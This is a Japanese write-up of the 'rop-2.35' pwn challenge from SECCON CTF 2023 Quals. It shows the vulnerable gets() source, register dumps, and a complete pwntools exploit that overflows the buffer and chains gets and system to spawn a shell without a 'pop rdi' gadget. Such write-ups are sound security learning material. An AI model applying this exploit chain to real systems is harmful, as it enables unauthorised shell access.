🐙
SECCON CTF 2023 Quals Writeup
0nePaddingのメンバとして参加しました。
全体的に基礎力、発想力不足でwarmupしか解けませんでした。
来年は1問でも多く解けるように精進します。
Pwn-rop-2.35
ROP問です。
pop rdiがないので少しだけ工夫する必要がありました。
配布物は以下の通り。
- 問題バイナリ
- main.c
- Dockerfile
- docker-compose.yml
#include <stdio.h>
#include <stdlib.h>
void main() {
char buf[0x10];
system("echo Enter something:");
gets(buf);
}
ソースコードはめっちゃシンプルで、自明なBOFがあります。
また、CanaryはOFFになっているので単純なBOFでsaved ripを上書きできます。
$ checksec chall
[*] '/home/ubuntu/workspace/ctf/SECCON2023/rop-2-3-5/rop-2.35/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
あとはpop rdiしてsystemでもなんでも呼べばwin!…ですが、残念ながらpop rdiはいません…
そのため、gets関数を再度利用することでrdiに"/bin/sh"をセットしました。
main関数の終了時のレジスタは以下のようになっています。
rdiには_IO_stdfile_0_lockが入っており、これは書き込み可能な領域です。
*RAX 0x7ffd067906f0 ◂— 0x6161616161616161 ('aaaaaaaa')
RBX 0x0
*RCX 0x7f6fcb018aa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
*RDX 0x1
*RDI 0x7f6fcb01aa80 (_IO_stdfile_0_lock) ◂— 0x0
*RSI 0x1
*R8 0x0
R9 0x0
*R10 0x77
R11 0x246
R12 0x7ffd06790818 —▸ 0x7ffd06792271 ◂— 0x6c6c6168632f2e /* './chall' */
R13 0x401156 (main) ◂— endbr64
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
R15 0x7f6fcb06e040 (_rtld_global) —▸ 0x7f6fcb06f2e0 ◂— 0x0
*RBP 0x6161616161616161 ('aaaaaaaa')
*RSP 0x7ffd06790708 —▸ 0x40101a (_init+26) ◂— ret
*RIP 0x401184 (main+46) ◂— ret
─────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────
► 0x401184 <main+46> ret
そのため、この直後にgets関数をコールすると、_IO_stdfile_0_lockに任意の値を書き込めます。
また、gets関数の終了時にrdiには_IO_stdfile_0_lockがセットされているため、次にsystem関数をコールするようにソルバーを書けばよいです。
ただし、/bin/shと素直に入力してもgets関数内の以下の処理で四文字目の値を減算されてしまいますので注意です。
0x7f8b4be5565f <gets+191> mov rdi, qword ptr [rbp + 0x88]
0x7f8b4be55666 <gets+198> mov esi, dword ptr [rdi + 4]
► 0x7f8b4be55669 <gets+201> lea edx, [rsi - 1]
0x7f8b4be5566c <gets+204> mov dword ptr [rdi + 4], edx
0x7f8b4be5566f <gets+207> test edx, edx
あとは上記の内容を実装し、実行すればクリアです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = "./chall"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
io = start()
ret = 0x000000000040101a
gets = elf.sym["gets"]
system = elf.sym["system"]
payload = flat(
b"a" * 24,
gets,
system
)
io.sendline(payload)
io.sendline(b"/bin0sh")
io.interactive()
感想
ROPには無限の可能性があるなぁ()
Discussion